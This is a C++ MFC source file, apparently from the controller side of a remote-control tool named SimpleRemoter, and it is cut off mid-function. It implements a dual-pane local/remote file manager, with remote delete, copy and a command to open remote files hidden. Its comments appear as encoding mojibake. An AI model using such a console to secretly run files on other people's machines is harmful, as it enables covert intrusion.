Files
SimpleRemoter/server/2015Remote/FileManagerDlg.cpp

2540 lines
68 KiB
C++
Raw Normal View History

// FileManagerDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "FileManagerDlg.h"
#include "FileTransferModeDlg.h"
#include "InputDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
static UINT indicators[] =
{
ID_SEPARATOR, // status line indicator
ID_SEPARATOR,
ID_SEPARATOR
};
typedef struct {
LVITEM* plvi;
CString sCol2;
} lvItem, *plvItem;
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg dialog
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CFileManagerDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CFileManagerDlg)
//}}AFX_DATA_INIT
m_bIsClosed = false;
m_ProgressCtrl = NULL;
SHFILEINFO sfi;
SHGetFileInfo
(
"\\\\",
FILE_ATTRIBUTE_NORMAL,
&sfi,
sizeof(SHFILEINFO),
SHGFI_ICON | SHGFI_USEFILEATTRIBUTES
);
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_FATHER));
// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo
(
NULL,
0,
&sfi,
sizeof(SHFILEINFO),
SHGFI_LARGEICON | SHGFI_SYSICONINDEX
);
static CImageList *pLarge = CImageList::FromHandle(hImageList_Large);
m_pImageList_Large = pLarge;
// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
static HIMAGELIST hImageList_Small = (HIMAGELIST)SHGetFileInfo
(
NULL,
0,
&sfi,
sizeof(SHFILEINFO),
SHGFI_SMALLICON | SHGFI_SYSICONINDEX
);
static CImageList *pSmall = CImageList::FromHandle(hImageList_Small);
m_pImageList_Small = pSmall;
// <20><>ʼ<EFBFBD><CABC>Ӧ<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>СΪ0
m_iocpServer = pIOCPServer;
m_pContext = pContext;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList));
PBYTE pSrc = m_pContext->m_DeCompressionBuffer.GetBuffer(1);
int length = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
if (length > 0)
memcpy(m_bRemoteDriveList, pSrc, length);
m_nTransferMode = TRANSFER_MODE_NORMAL;
m_nOperatingFileLength = 0;
m_nCounter = 0;
m_bIsStop = false;
}
void CFileManagerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CFileManagerDlg)
DDX_Control(pDX, IDC_REMOTE_PATH, m_Remote_Directory_ComboBox);
DDX_Control(pDX, IDC_LOCAL_PATH, m_Local_Directory_ComboBox);
DDX_Control(pDX, IDC_LIST_REMOTE, m_list_remote);
DDX_Control(pDX, IDC_LIST_LOCAL, m_list_local);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
//{{AFX_MSG_MAP(CFileManagerDlg)
ON_WM_QUERYDRAGICON()
ON_WM_SIZE()
ON_NOTIFY(NM_DBLCLK, IDC_LIST_LOCAL, OnDblclkListLocal)
ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_LOCAL, OnBegindragListLocal)
ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_REMOTE, OnBegindragListRemote)
ON_WM_MOUSEMOVE()
ON_WM_LBUTTONUP()
ON_WM_TIMER()
ON_WM_CLOSE()
ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote)
ON_COMMAND(IDT_LOCAL_PREV, OnLocalPrev)
ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev)
ON_COMMAND(IDT_LOCAL_VIEW, OnLocalView)
ON_COMMAND(IDM_LOCAL_LIST, OnLocalList)
ON_COMMAND(IDM_LOCAL_REPORT, OnLocalReport)
ON_COMMAND(IDM_LOCAL_BIGICON, OnLocalBigicon)
ON_COMMAND(IDM_LOCAL_SMALLICON, OnLocalSmallicon)
ON_COMMAND(IDM_REMOTE_BIGICON, OnRemoteBigicon)
ON_COMMAND(IDM_REMOTE_LIST, OnRemoteList)
ON_COMMAND(IDM_REMOTE_REPORT, OnRemoteReport)
ON_COMMAND(IDM_REMOTE_SMALLICON, OnRemoteSmallicon)
ON_COMMAND(IDT_REMOTE_VIEW, OnRemoteView)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_STOP, OnUpdateLocalStop)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_STOP, OnUpdateRemoteStop)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_PREV, OnUpdateLocalPrev)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_PREV, OnUpdateRemotePrev)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_COPY, OnUpdateLocalCopy)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_COPY, OnUpdateRemoteCopy)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_DELETE, OnUpdateRemoteDelete)
ON_UPDATE_COMMAND_UI(IDT_REMOTE_NEWFOLDER, OnUpdateRemoteNewfolder)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_DELETE, OnUpdateLocalDelete)
ON_UPDATE_COMMAND_UI(IDT_LOCAL_NEWFOLDER, OnUpdateLocalNewfolder)
ON_COMMAND(IDT_REMOTE_COPY, OnRemoteCopy)
ON_COMMAND(IDT_LOCAL_COPY, OnLocalCopy)
ON_COMMAND(IDT_LOCAL_DELETE, OnLocalDelete)
ON_COMMAND(IDT_REMOTE_DELETE, OnRemoteDelete)
ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop)
ON_COMMAND(IDT_LOCAL_STOP, OnLocalStop)
ON_COMMAND(IDT_LOCAL_NEWFOLDER, OnLocalNewfolder)
ON_COMMAND(IDT_REMOTE_NEWFOLDER, OnRemoteNewfolder)
ON_COMMAND(IDM_TRANSFER, OnTransfer)
ON_COMMAND(IDM_RENAME, OnRename)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_REMOTE, OnEndlabeleditListRemote)
ON_COMMAND(IDM_DELETE, OnDelete)
ON_COMMAND(IDM_NEWFOLDER, OnNewfolder)
ON_COMMAND(IDM_REFRESH, OnRefresh)
ON_COMMAND(IDM_LOCAL_OPEN, OnLocalOpen)
ON_COMMAND(IDM_REMOTE_OPEN_SHOW, OnRemoteOpenShow)
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CFileManagerDlg message handlers
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
{
SHFILEINFO sfi = {};
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
else
dwFileAttributes |= FILE_ATTRIBUTE_NORMAL;
SHGetFileInfo
(
lpFileName,
dwFileAttributes,
&sfi,
sizeof(SHFILEINFO),
SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES
);
return sfi.iIcon;
}
BOOL CFileManagerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
RECT rect;
GetClientRect(&rect);
/*Ϊ<><CEAA><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵĴ<D3B5><C4B4><EFBFBD>*/
// һ<><D2BB>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><E5B9A4><EFBFBD><EFBFBD>ID<49><44><EFBFBD><EFBFBD>ȻRepositionBars<72><73><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
// ID <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>AFX_IDW_CONTROLBAR_FIRST AFX_IDW_CONTROLBAR_LAST
// <20><><EFBFBD>ع<EFBFBD><D8B9><EFBFBD><EFBFBD><EFBFBD> CBRS_TOP <20><><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
if (!m_wndToolBar_Local.Create(this, WS_CHILD |
WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_LOCAL_TOOLBAR)
||!m_wndToolBar_Local.LoadToolBar(IDR_TOOLBAR1))
{
TRACE0("Failed to create toolbar ");
return -1; //Failed to create
}
m_wndToolBar_Local.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP
m_wndToolBar_Local.LoadTrueColorToolBar
(
24, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD>
IDB_TOOLBAR,
IDB_TOOLBAR,
IDB_TOOLBAR_DISABLE
);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ť
m_wndToolBar_Local.AddDropDownButton(this, IDT_LOCAL_VIEW, IDR_LOCAL_VIEW);
if (!m_wndToolBar_Remote.Create(this, WS_CHILD |
WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_REMOTE_TOOLBAR)
||!m_wndToolBar_Remote.LoadToolBar(IDR_TOOLBAR2))
{
TRACE0("Failed to create toolbar ");
return -1; //Failed to create
}
m_wndToolBar_Remote.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP
m_wndToolBar_Remote.LoadTrueColorToolBar
(
24, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD>
IDB_TOOLBAR,
IDB_TOOLBAR,
IDB_TOOLBAR_DISABLE
);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ť
m_wndToolBar_Remote.AddDropDownButton(this, IDT_REMOTE_VIEW, IDR_REMOTE_VIEW);
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48);
m_wndToolBar_Remote.MoveWindow(268, rect.bottom / 2 - 10, rect.right - 268, 48);
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
CString str;
str.Format("%s - <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>",m_IPAddress);
SetWindowText(str);
// Ϊ<>б<EFBFBD><D0B1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD>ImageList
m_list_local.SetImageList(m_pImageList_Large, LVSIL_NORMAL);
m_list_local.SetImageList(m_pImageList_Small, LVSIL_SMALL);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
if (!m_wndStatusBar.Create(this) ||
!m_wndStatusBar.SetIndicators(indicators,
sizeof(indicators)/sizeof(UINT)))
{
TRACE0("Failed to create status bar\n");
return -1; // fail to create
}
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL);
m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 120);
m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 50);
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //<2F><>ʾ״̬<D7B4><CCAC>
m_wndStatusBar.GetItemRect(1, &rect);
m_ProgressCtrl = new CProgressCtrl;
m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1);
m_ProgressCtrl->SetRange(0, 100); //<2F><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ
m_ProgressCtrl->SetPos(20); //<2F><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰλ<C7B0><CEBB>
FixedLocalDriveList();
FixedRemoteDriveList();
/////////////////////////////////////////////
//// Set up initial variables
m_bDragging = false;
m_nDragIndex = -1;
m_nDropIndex = -1;
CoInitialize(NULL);
SHAutoComplete(GetDlgItem(IDC_LOCAL_PATH)->GetWindow(GW_CHILD)->m_hWnd, SHACF_FILESYSTEM);
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CFileManagerDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
// ״̬<D7B4><CCAC><EFBFBD><EFBFBD>û<EFBFBD>д<EFBFBD><D0B4><EFBFBD>
if (m_wndStatusBar.m_hWnd == NULL)
return;
// <20><>λ״̬<D7B4><CCAC>
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
RECT rect;
m_wndStatusBar.GetItemRect(1, &rect);
m_ProgressCtrl->MoveWindow(&rect);
GetDlgItem(IDC_LIST_LOCAL)->MoveWindow(0, 36, cx, (cy - 100) / 2);
GetDlgItem(IDC_LIST_REMOTE)->MoveWindow(0, (cy / 2) + 28, cx, (cy - 100) / 2);
GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(20, cy / 2, 25, 20);
GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(53, (cy / 2) - 4 , 210, 12);
GetClientRect(&rect);
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48);
m_wndToolBar_Remote.MoveWindow(268, rect.bottom / 2 - 10, rect.right - 268, 48);
}
void CFileManagerDlg::FixedLocalDriveList()
{
char DriveString[256];
char *pDrive = NULL;
m_list_local.DeleteAllItems();
while(m_list_local.DeleteColumn(0) != 0);
m_list_local.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 200);
m_list_local.InsertColumn(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(2, "<EFBFBD>ܴ<EFBFBD>С", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD>ÿռ<EFBFBD>", LVCFMT_LEFT, 115);
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
char FileSystem[MAX_PATH];
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
for (int i = 0; *pDrive != '\0'; i++, pDrive += lstrlen(pDrive) + 1)
{
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
memset(FileSystem, 0, sizeof(FileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
int nFileSystemLen = lstrlen(FileSystem) + 1;
if (GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
{
AmntMB = HDAmount / 1024 / 1024;
FreeMB = HDFreeSpace / 1024 / 1024;
}
else
{
AmntMB = 0;
FreeMB = 0;
}
int nItem = m_list_local.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive)));
m_list_local.SetItemData(nItem, 1);
if (lstrlen(FileSystem) == 0)
{
SHFILEINFO sfi = {};
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
}
else
{
m_list_local.SetItemText(nItem, 1, FileSystem);
}
CString str;
str.Format("%10.1f GB", (float)AmntMB / 1024);
m_list_local.SetItemText(nItem, 2, str);
str.Format("%10.1f GB", (float)FreeMB / 1024);
m_list_local.SetItemText(nItem, 3, str);
}
// <20><><EFBFBD>ñ<EFBFBD><C3B1>ص<EFBFBD>ǰ·<C7B0><C2B7>
m_Local_Path = "";
m_Local_Directory_ComboBox.ResetContent();
ShowMessage("<EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s <20><><EFBFBD><EFBFBD>", m_Local_Path);
}
void CFileManagerDlg::OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
if (m_list_local.GetSelectedCount() == 0 || m_list_local.GetItemData(m_list_local.GetSelectionMark()) != 1)
return;
FixedLocalFileList();
*pResult = 0;
}
void CFileManagerDlg::FixedLocalFileList(CString directory)
{
if (directory.GetLength() == 0)
{
int nItem = m_list_local.GetSelectionMark();
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD>еģ<D0B5><C4A3><EFBFBD>Ŀ¼
if (nItem != -1)
{
if (m_list_local.GetItemData(nItem) == 1)
{
directory = m_list_local.GetItemText(nItem, 0);
}
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD>õ<EFBFBD>·<EFBFBD><C2B7>
else
{
m_Local_Directory_ComboBox.GetWindowText(m_Local_Path);
}
}
// <20>õ<EFBFBD><C3B5><EFBFBD>Ŀ¼
if (directory == "..")
{
m_Local_Path = GetParentDirectory(m_Local_Path);
}
// ˢ<>µ<EFBFBD>ǰ<EFBFBD><C7B0>
else if (directory != ".")
{
m_Local_Path += directory;
if(m_Local_Path.Right(1) != "\\")
m_Local_Path += "\\";
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD>Ŀ¼,<2C><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>б<EFBFBD>
if (m_Local_Path.GetLength() == 0)
{
FixedLocalDriveList();
return;
}
m_Local_Directory_ComboBox.InsertString(0, m_Local_Path);
m_Local_Directory_ComboBox.SetCurSel(0);
// <20>ؽ<EFBFBD><D8BD><EFBFBD><EFBFBD><EFBFBD>
m_list_local.DeleteAllItems();
while(m_list_local.DeleteColumn(0) != 0);
m_list_local.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 200);
m_list_local.InsertColumn(1, "<EFBFBD><EFBFBD>С", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
m_list_local.InsertColumn(3, "<EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 115);
int nItemIndex = 0;
m_list_local.SetItemData
(
m_list_local.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),
1
);
// i Ϊ 0 ʱ<><CAB1>Ŀ¼<C4BF><C2BC>i Ϊ 1ʱ<31><CAB1><EFBFBD>ļ<EFBFBD>
2019-01-18 17:37:15 +08:00
for (int i = 0; i < 2; ++i)
{
CFileFind file;
BOOL bContinue;
bContinue = file.FindFile(m_Local_Path + "*.*");
while (bContinue)
{
bContinue = file.FindNextFile();
if (file.IsDots())
continue;
bool bIsInsert = !file.IsDirectory() == i;
if (!bIsInsert)
continue;
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
m_list_local.SetItemData(nItem, file.IsDirectory());
SHFILEINFO sfi = {};
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
CString str;
str.Format("%10d KB", file.GetLength() / 1024 + (file.GetLength() % 1024 ? 1 : 0));
m_list_local.SetItemText(nItem, 1, str);
CTime time;
file.GetLastWriteTime(time);
m_list_local.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M"));
}
}
ShowMessage("<EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s <20><><EFBFBD><EFBFBD>", m_Local_Path);
}
void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
{
//This routine performs the actual drop of the item dragged.
//It simply grabs the info from the Drag list (pDragList)
// and puts that info into the list dropped on (pDropList).
//Send: pDragList = pointer to CListCtrl we dragged from,
// pDropList = pointer to CListCtrl we are dropping on.
//Return: nothing.
////Variables
// Unhilight the drop target
if(pDragList == pDropList) //we are return
{
return;
} //EO if(pDragList...
pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED);
if ((CWnd *)pDropList == &m_list_local)
{
OnRemoteCopy();
}
else if ((CWnd *)pDropList == &m_list_remote)
{
OnLocalCopy();
}
else
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return;
}
// <20><><EFBFBD><EFBFBD>
m_nDropIndex = -1;
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CFileManagerDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CFileManagerDlg::OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
//// Save the index of the item being dragged in m_nDragIndex
//// This will be used later for retrieving the info dragged
m_nDragIndex = pNMListView->iItem;
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(".."))
return;
//We will call delete later (in LButtonUp) to clean this up
if(m_list_local.GetSelectedCount() > 1) //more than 1 item in list is selected
m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG);
else
m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG);
ASSERT(m_hCursor); //make sure it was created
//// Change the cursor to the drag image
//// (still must perform DragMove() in OnMouseMove() to show it moving)
//// Set dragging flag and others
m_bDragging = TRUE; //we are in a drag and drop operation
m_nDropIndex = -1; //we don't have a drop index yet
m_pDragList = &m_list_local; //make note of which list we are dragging from
m_pDropWnd = &m_list_local; //at present the drag list is the drop list
//// Capture all mouse messages
SetCapture();
*pResult = 0;
}
void CFileManagerDlg::OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
//// Save the index of the item being dragged in m_nDragIndex
//// This will be used later for retrieving the info dragged
m_nDragIndex = pNMListView->iItem;
if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare(".."))
return;
//We will call delete later (in LButtonUp) to clean this up
if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected
m_hCursor = AfxGetApp()->LoadCursor(IDC_MUTI_DRAG);
else
m_hCursor = AfxGetApp()->LoadCursor(IDC_DRAG);
ASSERT(m_hCursor); //make sure it was created
//// Change the cursor to the drag image
//// (still must perform DragMove() in OnMouseMove() to show it moving)
//// Set dragging flag and others
m_bDragging = TRUE; //we are in a drag and drop operation
m_nDropIndex = -1; //we don't have a drop index yet
m_pDragList = &m_list_remote; //make note of which list we are dragging from
m_pDropWnd = &m_list_remote; //at present the drag list is the drop list
//// Capture all mouse messages
SetCapture ();
*pResult = 0;
}
void CFileManagerDlg::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
//While the mouse is moving, this routine is called.
//This routine will redraw the drag image at the present
// mouse location to display the dragging.
//Also, while over a CListCtrl, this routine will highlight
// the item we are hovering over.
//// If we are in a drag/drop procedure (m_bDragging is true)
if (m_bDragging)
{
//SetClassLong(m_list_local.m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DRAG));
//// Move the drag image
CPoint pt(point); //get our current mouse coordinates
ClientToScreen(&pt); //convert to screen coordinates
//// Get the CWnd pointer of the window that is under the mouse cursor
CWnd* pDropWnd = WindowFromPoint (pt);
ASSERT(pDropWnd); //make sure we have a window
//// If we drag outside current window we need to adjust the highlights displayed
if (pDropWnd != m_pDropWnd)
{
if (m_nDropIndex != -1) //If we drag over the CListCtrl header, turn off the hover highlight
{
TRACE("m_nDropIndex is -1\n");
CListCtrl* pList = (CListCtrl*)m_pDropWnd;
VERIFY (pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED));
// redraw item
VERIFY (pList->RedrawItems (m_nDropIndex, m_nDropIndex));
pList->UpdateWindow ();
m_nDropIndex = -1;
}
}
// Save current window pointer as the CListCtrl we are dropping onto
m_pDropWnd = pDropWnd;
// Convert from screen coordinates to drop target client coordinates
pDropWnd->ScreenToClient(&pt);
//If we are hovering over a CListCtrl we need to adjust the highlights
if(pDropWnd->IsKindOf(RUNTIME_CLASS (CListCtrl)))
{
//Note that we can drop here
SetCursor(m_hCursor);
if (m_pDropWnd->m_hWnd == m_pDragList->m_hWnd)
return;
UINT uFlags;
CListCtrl* pList = (CListCtrl*)pDropWnd;
// Turn off hilight for previous drop target
pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED);
// Redraw previous item
pList->RedrawItems (m_nDropIndex, m_nDropIndex);
// Get the item that is below cursor
m_nDropIndex = ((CListCtrl*)pDropWnd)->HitTest(pt, &uFlags);
if (m_nDropIndex != -1)
{
// Highlight it
pList->SetItemState(m_nDropIndex, LVIS_DROPHILITED, LVIS_DROPHILITED);
// Redraw item
pList->RedrawItems(m_nDropIndex, m_nDropIndex);
pList->UpdateWindow();
}
}
else
{
//If we are not hovering over a CListCtrl, change the cursor
// to note that we cannot drop here
SetCursor(LoadCursor(NULL, IDC_NO));
}
}
CDialog::OnMouseMove(nFlags, point);
}
void CFileManagerDlg::OnLButtonUp(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
//This routine is the end of the drag/drop operation.
//When the button is released, we are to drop the item.
//There are a few things we need to do to clean up and
// finalize the drop:
// 1) Release the mouse capture
// 2) Set m_bDragging to false to signify we are not dragging
// 3) Actually drop the item (we call a separate function to do that)
//If we are in a drag and drop operation (otherwise we don't do anything)
if (m_bDragging)
{
// Release mouse capture, so that other controls can get control/messages
ReleaseCapture();
// Note that we are NOT in a drag operation
m_bDragging = FALSE;
CPoint pt (point); //Get current mouse coordinates
ClientToScreen (&pt); //Convert to screen coordinates
// Get the CWnd pointer of the window that is under the mouse cursor
CWnd* pDropWnd = WindowFromPoint (pt);
ASSERT (pDropWnd); //make sure we have a window pointer
// If window is CListCtrl, we perform the drop
if (pDropWnd->IsKindOf (RUNTIME_CLASS (CListCtrl)))
{
m_pDropList = (CListCtrl*)pDropWnd; //Set pointer to the list we are dropping on
DropItemOnList(m_pDragList, m_pDropList); //Call routine to perform the actual drop
}
}
CDialog::OnLButtonUp(nFlags, point);
}
BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN)
{
if (pMsg->wParam == VK_ESCAPE)
return true;
if (pMsg->wParam == VK_RETURN)
{
if (
pMsg->hwnd == m_list_local.m_hWnd ||
pMsg->hwnd == ((CEdit*)m_Local_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd
)
{
FixedLocalFileList();
}
else if
(
pMsg->hwnd == m_list_remote.m_hWnd ||
